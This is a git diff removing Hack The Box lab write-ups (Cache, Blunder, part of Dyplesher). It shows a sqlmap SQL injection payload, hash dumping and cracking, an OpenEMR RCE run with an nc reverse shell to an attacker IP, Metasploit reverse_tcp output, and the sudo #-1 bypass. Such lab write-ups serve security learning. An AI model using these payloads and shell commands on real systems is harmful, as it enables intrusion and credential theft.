    -[09:32:46] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
    -[09:32:49] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
    -[09:32:52] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
    -[09:32:55] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
    -[09:32:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
    -[09:33:01] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
    -URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
    -sqlmap identified the following injection point(s) with a total of 346 HTTP(s) requests:
    ----
    -Parameter: #1* (URI)
    -    Type: error-based
    -    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    -    Payload: http://hms.htb:80/portal/find_appt_popup_user.php?catid='||(SELECT 0x426c764c WHERE 3030=3030 AND (SELECT 8964 FROM(SELECT COUNT(*),CONCAT(0x7176786a71,(SELECT (ELT(8964=8964,1))),0x71716b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
    ----
    -[09:33:16] [INFO] the back-end DBMS is MySQL
    -back-end DBMS: MySQL >= 5.0
    -[09:33:17] [INFO] fetched data logged to text files under '/home/snowscan/.sqlmap/output/hms.htb'
    -
    -[*] ending @ 09:33:17 /2020-05-10/
    -```
    -
    -We'll dump the `users_secure` table containg the password hash.
    -
    -```
    -snowscan@kali:~/htb/cache$ sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=*" --cookie="OpenEMR=vp4f9asgbv507vpt84cioecmbg; PHPSESSID=cs1o3vot21n4odtira0s19iqu1" --technique E --dbms=mysql -D openemr -T users_secure --dump
    -        ___
    -       __H__                                                                                                       
    - ___ ___[)]_____ ___ ___  {1.4.4#stable}                                                                           
    -|_ -| . [']     | .'| . |                                                                                          
    -|___|_  [,]_|_|_|__,|  _|                                                                                          
    -      |_|V...       |_|   http://sqlmap.org                                                                        
    -
    -[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    -
    -[*] starting @ 09:34:49 /2020-05-10/
    -
    -custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] 
    -[09:34:49] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
    -[09:34:49] [INFO] testing connection to the target URL
    -sqlmap resumed the following injection point(s) from stored session:
    ----
    -Parameter: #1* (URI)
    -    Type: error-based
    -    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    -    Payload: http://hms.htb:80/portal/find_appt_popup_user.php?catid='||(SELECT 0x426c764c WHERE 3030=3030 AND (SELECT 8964 FROM(SELECT COUNT(*),CONCAT(0x7176786a71,(SELECT (ELT(8964=8964,1))),0x71716b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'                                                                       
    ----
    -[09:34:49] [INFO] testing MySQL
    -[09:34:49] [INFO] confirming MySQL
    -[09:34:50] [WARNING] reflective value(s) found and filtering out
    -[09:34:50] [INFO] the back-end DBMS is MySQL
    -back-end DBMS: MySQL >= 5.0.0
    -[09:34:50] [INFO] fetching columns for table 'users_secure' in database 'openemr'
    -[09:34:50] [INFO] retrieved: 'id'
    -[09:34:50] [INFO] retrieved: 'bigint(20)'
    -[09:34:50] [INFO] retrieved: 'username'
    -[09:34:50] [INFO] retrieved: 'varchar(255)'
    -[09:34:50] [INFO] retrieved: 'password'
    -[09:34:50] [INFO] retrieved: 'varchar(255)'
    -[09:34:50] [INFO] retrieved: 'salt'
    -[09:34:50] [INFO] retrieved: 'varchar(255)'
    -[09:34:50] [INFO] retrieved: 'last_update'
    -[09:34:50] [INFO] retrieved: 'timestamp'
    -[09:34:50] [INFO] retrieved: 'password_history1'
    -[09:34:50] [INFO] retrieved: 'varchar(255)'
    -[09:34:50] [INFO] retrieved: 'salt_history1'
    -[09:34:50] [INFO] retrieved: 'varchar(255)'
    -[09:34:50] [INFO] retrieved: 'password_history2'
    -[09:34:50] [INFO] retrieved: 'varchar(255)'
    -[09:34:50] [INFO] retrieved: 'salt_history2'
    -[09:34:50] [INFO] retrieved: 'varchar(255)'
    -[09:34:50] [INFO] fetching entries for table 'users_secure' in database 'openemr'
    -[09:34:50] [INFO] retrieved: '1'
    -[09:34:51] [INFO] retrieved: '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.'
    -[09:34:51] [INFO] retrieved: '2019-11-21 06:38:40'
    -[09:34:51] [INFO] retrieved: ' '
    -[09:34:51] [INFO] retrieved: ' '
    -[09:34:51] [INFO] retrieved: '$2a$05$l2sTLIG6GTBeyBf7TAKL6A$'
    -[09:34:51] [INFO] retrieved: ' '
    -[09:34:51] [INFO] retrieved: ' '
    -[09:34:51] [INFO] retrieved: 'openemr_admin'
    -Database: openemr
    -Table: users_secure
    -[1 entry]
    -+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
    -| id   | salt                           | username      | password                                                     | last_update         | salt_history1 | salt_history2 | password_history1 | password_history2 |
    -+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
    -| 1    | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |
    -+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
    -
    -[09:34:51] [INFO] table 'openemr.users_secure' dumped to CSV file '/home/snowscan/.sqlmap/output/hms.htb/dump/openemr/users_secure.csv'                                                                                               
    -[09:34:51] [INFO] fetched data logged to text files under '/home/snowscan/.sqlmap/output/hms.htb'
    -
    -[*] ending @ 09:34:51 /2020-05-10/
    -```
    -
    -Then with John we can crack that hash and get the password: `xxxxxx`
    -
    -```
    -snowscan@kali:~/htb/cache$ john -w=/usr/share/wordlists/rockyou.txt hash.txt
    -Using default input encoding: UTF-8
    -Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
    -Cost 1 (iteration count) is 32 for all loaded hashes
    -Will run 4 OpenMP threads
    -Press 'q' or Ctrl-C to abort, almost any other key for status
    -xxxxxx           (?)
    -1g 0:00:00:00 DONE (2020-05-10 09:41) 7.692g/s 6646p/s 6646c/s 6646C/s tristan..felipe
    -Use the "--show" option to display all of the cracked passwords reliably
    -Session completed
    -```
    -
    -## OpenEMR remote code execution
    -
    -Checking searchsploit, I see a RCE exploit for our version.
    -
    -```
    -OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution
    -[...]
    -searchsploit -x 45161
    -
    -# Title: OpenEMR < 5.0.1 - Remote Code Execution
    -# Author: Cody Zacharias
    -# Date: 2018-08-07
    -# Vendor Homepage: https://www.open-emr.org/
    -# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
    -# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
    -# Version: < 5.0.1 (Patch 4)
    -# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
    -# References:
    -# https://www.youtube.com/watch?v=DJSQ8Pk_7hc
    -[...]
    -```
    -
    -Launching exploit and getting that first shell:
    -
    -```
    -snowscan@kali:~/htb/cache$ python exploit.py http://hms.htb/ -u openemr_admin -p xxxxxx -c 'rm /tmp/s;mkfifo /tmp/s;cat /tmp/s|/bin/sh -i 2>&1|nc 10.10.14.10 4444 >/tmp/s'
    - .---.  ,---.  ,---.  .-. .-.,---.          ,---.    
    -/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   
    -| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   
    -| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    
    -\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   
    - )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  
    -(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) 
    -                                                       
    -   ={   P R O J E C T    I N S E C U R I T Y   }=    
    -                                                       
    -         Twitter : @Insecurity                       
    -         Site    : insecurity.sh                     
    -
    -[$] Authenticating with openemr_admin:xxxxxx
    -[$] Injecting payload
    -```
    -
    -```
    -snowscan@kali:~/htb/cache$ rlwrap nc -lvnp 4444
    -listening on [any] 4444 ...
    -connect to [10.10.14.10] from (UNKNOWN) [10.10.10.188] 34032
    -/bin/sh: 0: can't access tty; job control turned off
    -$ id
    -uid=33(www-data) gid=33(www-data) groups=33(www-data)
    -$ python3 -c 'import pty;pty.spawn("/bin/bash")'
    -www-data@cache:/var/www/hms.htb/public_html/interface/main$
    -```
    -
    -From there we can su to user `ash` and use the same password we found earlier on the javascript code for the useless login page.
    -
    -```
    -www-data@cache:/var/www/hms.htb/public_html/interface/main$ su -l ash
    -su -l ash
    -Password: H@v3_fun
    -
    -ash@cache:~$ cd
    -cd
    -ash@cache:~$ cat user.txt
    -cat user.txt
    -d415c4620a9ea235eac89874e513dcb0
    -ash@cache:~$
    -```
    -
    -## Pivot to user luffy
    -
    -The `/etc/passwd` file contains another user `luffy` but I see there's also a `memcache` user.
    -
    -```
    -ash@cache:~$ tail -n 10 /etc/passwd
    -tail -n 10 /etc/passwd
    -lxd:x:105:65534::/var/lib/lxd/:/bin/false
    -uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
    -dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
    -landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
    -pollinate:x:109:1::/var/cache/pollinate:/bin/false
    -sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
    -ash:x:1000:1000:ash:/home/ash:/bin/bash
    -luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
    -memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false
    -mysql:x:112:115:MySQL Server,,,:/nonexistent:/bin/false
    -```
    -
    -Yup, memcache is running on there.
    -
    -```
    -ash@cache:~$ netstat -panut | grep 11211
    -netstat -panut | grep 11211
    -(Not all processes could be identified, non-owned process info
    - will not be shown, you would have to be root to see it all.)
    -tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -                   
    -tcp        0      0 127.0.0.1:11211         127.0.0.1:38902         ESTABLISHED -                   
    -tcp        0      0 127.0.0.1:11211         127.0.0.1:38888         TIME_WAIT   -                   
    -tcp        0      0 127.0.0.1:38902         127.0.0.1:11211         ESTABLISHED -
    -```
    -
    -Memcache doesn't require authentication so we can pull information from the cache just by connecting and sending commands on port 11211. Here we'll get information about the slabs.
    -
    -```
    -ash@cache:~$ telnet 127.0.0.1 11211
    -telnet 127.0.0.1 11211
    -Trying 127.0.0.1...
    -Connected to 127.0.0.1.
    -Escape character is '^]'.
    -stats slabs
    -stats slabs
    -STAT 1:chunk_size 96
    -STAT 1:chunks_per_page 10922
    -STAT 1:total_pages 1
    -STAT 1:total_chunks 10922
    -STAT 1:used_chunks 5
    -STAT 1:free_chunks 10917
    -STAT 1:free_chunks_end 0
    -STAT 1:mem_requested 371
    -STAT 1:get_hits 0
    -STAT 1:cmd_set 1070
    -STAT 1:delete_hits 0
    -STAT 1:incr_hits 0
    -STAT 1:decr_hits 0
    -STAT 1:cas_hits 0
    -STAT 1:cas_badval 0
    -STAT 1:touch_hits 0
    -STAT active_slabs 1
    -STAT total_malloced 1048576
    -END
    -```
    -
    -What's really useful for us is the information about the keys. With the `stats cachedump` command we can see the keys currently stored.
    -
    -```
    -stats cachedump 1 0
    -ITEM link [21 b; 0 s]
    -ITEM user [5 b; 0 s]
    -ITEM passwd [9 b; 0 s]
    -ITEM file [7 b; 0 s]
    -ITEM account [9 b; 0 s]
    -END
    -```
    -
    -Then with the `get` command and the key name, we find some credentials in the cached values: `luffy / 0n3_p1ec3`
    -
    -```
    -get link
    -VALUE link 0 21
    -https://hackthebox.eu
    -END
    -
    -get user
    -VALUE user 0 5
    -luffy
    -END
    -
    -get passwd
    -VALUE passwd 0 9
    -0n3_p1ec3
    -END
    -
    -get file
    -VALUE file 0 7
    -nothing
    -END
    -
    -get account
    -VALUE account 0 9
    -afhj556uo
    -END
    -```
    -
    -I can see as `luffy` now:
    -
    -```
    -snowscan@kali:~/htb/cache$ ssh luffy@10.10.10.188
    -luffy@10.10.10.188's password: 
    -Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-99-generic x86_64)
    -
    - * Documentation:  https://help.ubuntu.com
    - * Management:     https://landscape.canonical.com
    - * Support:        https://ubuntu.com/advantage
    -
    -  System information as of Sun May 10 13:53:17 UTC 2020
    -
    -  System load:  0.13              Processes:              196
    -  Usage of /:   74.5% of 8.06GB   Users logged in:        1
    -  Memory usage: 21%               IP address for ens160:  10.10.10.188
    -  Swap usage:   0%                IP address for docker0: 172.17.0.1
    -
    -
    - * Canonical Livepatch is available for installation.
    -   - Reduce system reboots and improve kernel security. Activate at:
    -     https://ubuntu.com/livepatch
    -
    -107 packages can be updated.
    -0 updates are security updates.
    -
    -Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
    -
    -
    -Last login: Sun May 10 13:49:37 2020 from 10.10.14.52
    -luffy@cache:~$
    -```
    -
    -## Privesc
    -
    -Luffy is a member of the `docker` group so he can start new containers.
    -
    -```
    -luffy@cache:~$ id
    -uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
    -```
    -
    -There's already a ubuntu image on the box so I don't even to upload my own.
    -
    -```
    -luffy@cache:~$ docker images
    -REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
    -ubuntu              latest              2ca708c1c9cc        7 months ago        64.2MB
    -```
    -
    -I can launch the container and mount the root filesystem inside of `/mnt/pwn` and read the root.txt flag.
    -
    -```
    -luffy@cache:~$ docker run -v /:/mnt/pwn -ti ubuntu
    -root@6c8efcc60a41:/# cd /mnt/pwn/root
    -root@6c8efcc60a41:/mnt/pwn/root# ls
    -root.txt
    -root@6c8efcc60a41:/mnt/pwn/root# cat root.txt
    -61673a57f540ad2350f46e78e6c4b8a1
    -```
    -
    -To log in as root I can just null out the root password with the following:
    -
    -```
    -root@697e85ba9d8a:/mnt/pwn/etc# sed -i s/root:.*:18178:0:99999:7:::/root::18178:0:99999:7:::/ shadow
    -root@f8e7727da260:/mnt/pwn/etc/pam.d# sed -i s/nullok_secure/nullok/ common-auth
    -luffy@cache:~$ su
    -root@cache:/home/luffy# id
    -uid=0(root) gid=0(root) groups=0(root)
    -root@cache:/home/luffy# cat /root/root.txt
    -61673a57f540ad2350f46e78e6c4b8a1
    -```
    \ No newline at end of file
    diff --git a/_posts/2020-10-17-htb-writeup-blunder.md b/_posts/2020-10-17-htb-writeup-blunder.md
    deleted file mode 100644
    index 97c660d82c..0000000000
    --- a/_posts/2020-10-17-htb-writeup-blunder.md
    +++ /dev/null
    @@ -1,286 +0,0 @@
    ----
    -layout: single
    -title: Blunder - Hack The Box
    -excerpt: "Blunder was an easy box for beginners that required bruteforcing the login for a Bludit CMS, then exploiting a known CVE through Metasploit to get remote code execution. The priv esc is a neat little CVE with sudo that allows us to execute commands as root even though the root username is supposed to be blocked."
    -date: 2020-10-17
    -classes: wide
    -header:
    -  teaser: /assets/images/htb-writeup-blunder/blunder_logo.png
    -  teaser_home_page: true
    -  icon: /assets/images/hackthebox.webp
    -categories:
    -  - hackthebox
    -  - infosec
    -tags:
    -  - linux
    -  - bludit cms
    -  - wordlist
    -  - cewl
    -  - bruteforce
    -  - sudo 
    ----
    -
    -![](/assets/images/htb-writeup-blunder/blunder_logo.png)
    -
    -Blunder was an easy box for beginners that required bruteforcing the login for a Bludit CMS, then exploiting a known CVE through Metasploit to get remote code execution. The priv esc is a neat little CVE with sudo that allows us to execute commands as root even though the root username is supposed to be blocked.
    -
    -## Portscan
    -
    -```
    -snowscan@kali:~$ sudo nmap -sC -sV -F 10.10.10.191
    -Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 15:29 EDT
    -Nmap scan report for blunder.htb (10.10.10.191)
    -Host is up (0.63s latency).
    -Not shown: 98 filtered ports
    -PORT   STATE  SERVICE VERSION
    -21/tcp closed ftp
    -80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
    -|_http-generator: Blunder
    -|_http-server-header: Apache/2.4.41 (Ubuntu)
    -|_http-title: Blunder | A blunder of interesting facts
    -
    -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    -Nmap done: 1 IP address (1 host up) scanned in 37.68 seconds
    -```
    -
    -## Website CMS
    -
    -![](/assets/images/htb-writeup-blunder/image-20200530163956572.png)
    -
    -The X-Powered-By header reveals the site is running on Bludit CMS:
    -
    -```
    -snowscan@kali:~/htb/blunder$ curl -v http://blunder.htb
    -*   Trying 10.10.10.191:80...
    -* TCP_NODELAY set
    -* Connected to blunder.htb (10.10.10.191) port 80 (#0)
    -> GET / HTTP/1.1
    -> Host: blunder.htb
    -> User-Agent: curl/7.68.0
    -> Accept: */*
    -> 
    -* Mark bundle as not supporting multiuse
    -* HTTP 1.0, assume close after body
    -< HTTP/1.0 200 OK
    -< Date: Sat, 30 May 2020 20:42:40 GMT
    -< Server: Apache/2.4.41 (Ubuntu)
    -< X-Powered-By: Bludit
    -< Vary: Accept-Encoding
    -< Content-Length: 7562
    -< Connection: close
    -< Content-Type: text/html; charset=UTF-8
    -```
    -
    -There's an [exploit](https://www.exploit-db.com/exploits/47699) on Exploit-DB for Bludit CMS but it requires credentials.
    -
    -## Bruteforcing
    -
    -After dirbusting we find a **todo.txt** file that contains a potential username: **fergus**
    -
    -```
    -wscan@kali:~/htb/blunder$ ffuf -w $WLRC -t 50 -e .txt -u http://blunder.htb/FUZZ -fc 403
    -
    -        /'___\  /'___\           /'___\       
    -       /\ \__/ /\ \__/  __  __  /\ \__/       
    -       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
    -        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
    -         \ \_\   \ \_\  \ \____/  \ \_\       
    -          \/_/    \/_/   \/___/    \/_/       
    -
    -       v1.1.0-git
    -________________________________________________
    -
    - :: Method           : GET
    - :: URL              : http://blunder.htb/FUZZ
    - :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
    - :: Extensions       : .txt 
    - :: Follow redirects : false
    - :: Calibration      : false
    - :: Timeout          : 10
    - :: Threads          : 50
    - :: Matcher          : Response status: 200,204,301,302,307,401,403
    - :: Filter           : Response status: 403
    -________________________________________________
    -
    -0                       [Status: 200, Size: 7561, Words: 794, Lines: 171]
    -LICENSE                 [Status: 200, Size: 1083, Words: 155, Lines: 22]
    -about                   [Status: 200, Size: 3280, Words: 225, Lines: 106]
    -admin                   [Status: 301, Size: 0, Words: 1, Lines: 1]
    -cgi-bin/                [Status: 301, Size: 0, Words: 1, Lines: 1]
    -robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2]
    -robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2]
    -todo.txt                [Status: 200, Size: 118, Words: 20, Lines: 5]
    -
    -snowscan@kali:~/htb/blunder$ curl http://blunder.htb/todo.txt
    --Update the CMS
    --Turn off FTP - DONE
    --Remove old users - DONE
    --Inform fergus that the new blog needs images - PENDING
    -
    -```
    -
    -To brute force we can use the following script: https://rastating.github.io/bludit-brute-force-mitigation-bypass/
    -
    -I modified it a little bit to take a wordlist from argv:
    -
    -```python
    -[...]
    -host = 'http://10.10.10.191'
    -login_url = host + '/admin/login'
    -username = 'fergus'
    -wordlist = []
    -
    -with open(sys.argv[1]) as f:
    -    passwords = f.read().splitlines()    
    -[...]
    -```
    -
    -We can use cewl on the site to generate a wordlist.
    -
    -```
    -snowscan@kali:~/htb/blunder$ cewl http://blunder.htb > cewl.txt
    -```
    -
    -Next, bruteforcing...
    -
    -```
    -snowscan@kali:~/htb/blunder$ chmod +x b.py 
    -snowscan@kali:~/htb/blunder$ ./b.py cewl.txt
    -[*] Trying: CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
    -[*] Trying: the
    -[...]
    -[*] Trying: character
    -[*] Trying: RolandDeschain
    -
    -SUCCESS: Password found!
    -Use fergus:RolandDeschain to login.
    -```
    -
    -## Getting a shell
    -
    -We can use Metasploit to get a shell with `linux/http/bludit_upload_images_exec`
    -
    -```
    -msf5 exploit(linux/http/bludit_upload_images_exec) > show options
    -
    -Module options (exploit/linux/http/bludit_upload_images_exec):
    -
    -   Name        Current Setting  Required  Description
    -   ----        ---------------  --------  -----------
    -   BLUDITPASS  RolandDeschain   yes       The password for Bludit
    -   BLUDITUSER  fergus           yes       The username for Bludit
    -   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
    -   RHOSTS      10.10.10.191     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
    -   RPORT       80               yes       The target port (TCP)
    -   SSL         false            no        Negotiate SSL/TLS for outgoing connections
    -   TARGETURI   /                yes       The base path for Bludit
    -   VHOST                        no        HTTP server virtual host
    -
    -
    -Payload options (php/meterpreter/reverse_tcp):
    -
    -   Name   Current Setting  Required  Description
    -   ----   ---------------  --------  -----------
    -   LHOST  10.10.14.29      yes       The listen address (an interface may be specified)
    -   LPORT  80               yes       The listen port
    -
    -
    -Exploit target:
    -
    -   Id  Name
    -   --  ----
    -   0   Bludit v3.9.2
    -```
    -
    -```
    -msf5 exploit(linux/http/bludit_upload_images_exec) > run
    -
    -[*] Started reverse TCP handler on 10.10.14.29:80 
    -[+] Logged in as: fergus
    -[*] Retrieving UUID...
    -[*] Uploading AqdgdpaOLi.png...
    -[*] Uploading .htaccess...
    -[*] Executing AqdgdpaOLi.png...
    -[*] Sending stage (38288 bytes) to 10.10.10.191
    -[*] Meterpreter session 2 opened (10.10.14.29:80 -> 10.10.10.191:34040) at 2020-05-30 16:59:15 -0400
    -[+] Deleted .htaccess
    -
    -meterpreter > shell
    -Process 5132 created.
    -Channel 0 created.
    -python -c 'import pty;pty.spawn("/bin/bash")'
    -www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id
    -id
    -uid=33(www-data) gid=33(www-data) groups=33(www-data)
    -www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
    -```
    -
    -## Access to user hugo
    -
    -There's another Bludit CMS installation in `/var/www/bludit-3.10.0a`
    -
    -```
    -www-data@blunder:/var/www$ cat bludit-3.10.0a/bl-content/databases/users.php
    -cat bludit-3.10.0a/bl-content/databases/users.php
    -
    -{
    -    "admin": {
    -        "nickname": "Hugo",
    -        "firstName": "Hugo",
    -        "lastName": "",
    -        "role": "User",
    -        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
    -        "email": "",
    -        "registered": "2019-11-27 07:40:55",
    -        "tokenRemember": "",
    -        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
    -        "tokenAuthTTL": "2009-03-15 14:00",
    -        "twitter": "",
    -        "facebook": "",
    -        "instagram": "",
    -        "codepen": "",
    -        "linkedin": "",
    -        "github": "",
    -        "gitlab": ""}
    -}
    -```
    -
    -The password hash can be cracked online with Crackstation or a similar site: `Password120`
    -
    -```
    -www-data@blunder:/var/www$ su -l hugo
    -su -l hugo
    -Password: Password120
    -
    -hugo@blunder:~$ cat user.txt
    -cat user.txt
    -4b411f0fc0e09a1091c6de87d1f91aaf
    -```
    -
    -## Privesc
    -
    -The sudoers privileges our user has don't appear to give us anything we can use since it explicitely blocks root.
    -```
    -hugo@blunder:~$ sudo -l
    -Password: Password120
    -
    -Matching Defaults entries for hugo on blunder:
    -    env_reset, mail_badpass,
    -    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    -
    -User hugo may run the following commands on blunder:
    -    (ALL, !root) /bin/bash
    -```
    -
    -
    -However, because of CVE-2019-14287 in sudo, we can bypass the username check by using `#-1` and we get a root shell.
    -```
    -hugo@blunder:~$ sudo -u#-1 /bin/bash
    -sudo -u#-1 /bin/bash
    -root@blunder:/home/hugo# id
    -id
    -uid=0(root) gid=1001(hugo) groups=1001(hugo)
    -root@blunder:/home/hugo# cat /root/root.txt
    -cat /root/root.txt
    -5d649f5bcb1be5f93702a7a71cd4d77e
    -```
    diff --git a/_posts/2020-10-24-htb-writeup-dyplesher.md b/_posts/2020-10-24-htb-writeup-dyplesher.md
    deleted file mode 100644
    index 6c09e9cd3c..0000000000
    --- a/_posts/2020-10-24-htb-writeup-dyplesher.md
    +++ /dev/null
    @@ -1,458 +0,0 @@
    ----
    -layout: single
    -title: Dyplesher - Hack The Box
    -excerpt: "Dyplesher was a pretty tough box that took me more than 10 hours to get to the user flag. There's quite a bit of enumeration required to get to the git repo and then find memcached credentials from the source code. I couldn't use the memcache module from Metasploit here since it doesn't support credentials so I wrote my own memcache enumeration script. We then make our way to more creds in Gogs, then craft a malicious Minecraft plugin to get RCE. To get to the first flag we'll sniff AMQP creds from the loopback interface. To priv esc, we send messages on the RabbitMQ bug and get the server to download and execute a lua script (Cubberite plugin)."
    -date: 2020-10-24
    -classes: wide
    -header:
    -  teaser: /assets/images/htb-writeup-dyplesher/dyplesher_logo.png
    -  teaser_home_page: true
    -  icon: /assets/images/hackthebox.webp
    -categories:
    -  - hackthebox
    -  - infosec
    -tags:
    -  - linux
    -  - vhosts
    -  - gogs
    -  - memcache
    -  - sqlite
    -  - minecraft
    -  - capabilities
    -  - pcap
    -  - amqp
    -  - rabbitmq
    -  - lua
    ----
    -
    -![](/assets/images/htb-writeup-dyplesher/dyplesher_logo.png)
    -
    -Dyplesher was a pretty tough box that took me more than 10 hours to get to the user flag. There's quite a bit of enumeration required to get to the git repo and then find memcached credentials from the source code. I couldn't use the memcache module from Metasploit here since it doesn't support credentials so I wrote my own memcache enumeration script. We then make our way to more creds in Gogs, then craft a malicious Minecraft plugin to get RCE. To get to the first flag we'll sniff AMQP creds from the loopback interface. To priv esc, we send messages on the RabbitMQ bug and get the server to download and execute a lua script (Cubberite plugin).
    -
    -## Portscan
    -
    -```
    -snowscan@kali:~/htb/dyplesher$ sudo nmap -sT -p- 10.10.10.190
    -Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-23 20:59 EDT
    -Nmap scan report for dyplesher.htb (10.10.10.190)
    -Host is up (0.019s latency).
    -Not shown: 65525 filtered ports
    -PORT      STATE  SERVICE
    -22/tcp    open   ssh
    -80/tcp    open   http
    -3000/tcp  open   ppp
    -4369/tcp  open   epmd
    -5672/tcp  open   amqp
    -11211/tcp open   memcache
    -25562/tcp open   unknown
    -25565/tcp open   minecraft
    -25672/tcp open   unknown
    -```
    -
    -## Website
    -
    -On the website we have a couple of non-functional links like **Forums** and **Store**. The **Staff** link goes to another static page with a list of staff users.
    -
    -![](/assets/images/htb-writeup-dyplesher/image-20200524104320814.png)
    -
    -![](/assets/images/htb-writeup-dyplesher/image-20200524104356684.png)
    -
    -Dirbusting shows a few interesting links: **login**, **register** and **home**:
    -
    -```
    -snowscan@kali:~/htb/dyplesher$ ffuf -w $WLRD -t 50 -u http://dyplesher.htb/FUZZ
    -________________________________________________
    -
    -css                     [Status: 301, Size: 312, Words: 20, Lines: 10]
    -js                      [Status: 301, Size: 311, Words: 20, Lines: 10]
    -login                   [Status: 200, Size: 4188, Words: 1222, Lines: 84]
    -register                [Status: 302, Size: 350, Words: 60, Lines: 12]
    -img                     [Status: 301, Size: 312, Words: 20, Lines: 10]
    -home                    [Status: 302, Size: 350, Words: 60, Lines: 12]
    -fonts                   [Status: 301, Size: 314, Words: 20, Lines: 10]
    -staff                   [Status: 200, Size: 4389, Words: 1534, Lines: 103]
    -server-status           [Status: 403, Size: 278, Words: 20, Lines: 10]
    -```
    -
    -The login and register URL show a login page. We can try a few default creds but we're not able to get in.
    -
    -![](/assets/images/htb-writeup-dyplesher/image-20200524105136663.png)
    -
    -Gobusting the home directory shows a couple of other directories, all of which we can't reach because we are redirected to the login page.
    -
    -```
    -snowscan@kali:~/htb/dyplesher$ ffuf -w $WLRW -t 50 -u http://dyplesher.htb/home/FUZZ
    -________________________________________________
    -
    -add                     [Status: 302, Size: 350, Words: 60, Lines: 12]
    -.                       [Status: 301, Size: 312, Words: 20, Lines: 10]
    -delete                  [Status: 302, Size: 350, Words: 60, Lines: 12]
    -reset                   [Status: 302, Size: 350, Words: 60, Lines: 12]
    -console                 [Status: 302, Size: 350, Words: 60, Lines: 12]
    -players                 [Status: 302, Size: 350, Words: 60, Lines: 12]
    -```
    -
    -## Gogs website
    -
    -There's a Gogs instance running on port 3000. Gogs is a self-hosted Git service so there's a good chance we'll have to find the source code of an application on there.
    -
    -![](/assets/images/htb-writeup-dyplesher/image-20200524105548752.png)
    -
    -We can see the same list of 3 users we saw on the Staff page but there are no public repositories accessible from our unauthenticated user.
    -
    -![](/assets/images/htb-writeup-dyplesher/image-20200524105743919.png)
    -
    -When dirbusting the site we find a **debug** directory which contains the pprof profiler. I looked around and it didn't seem to be useful for anything.
    -
    -```
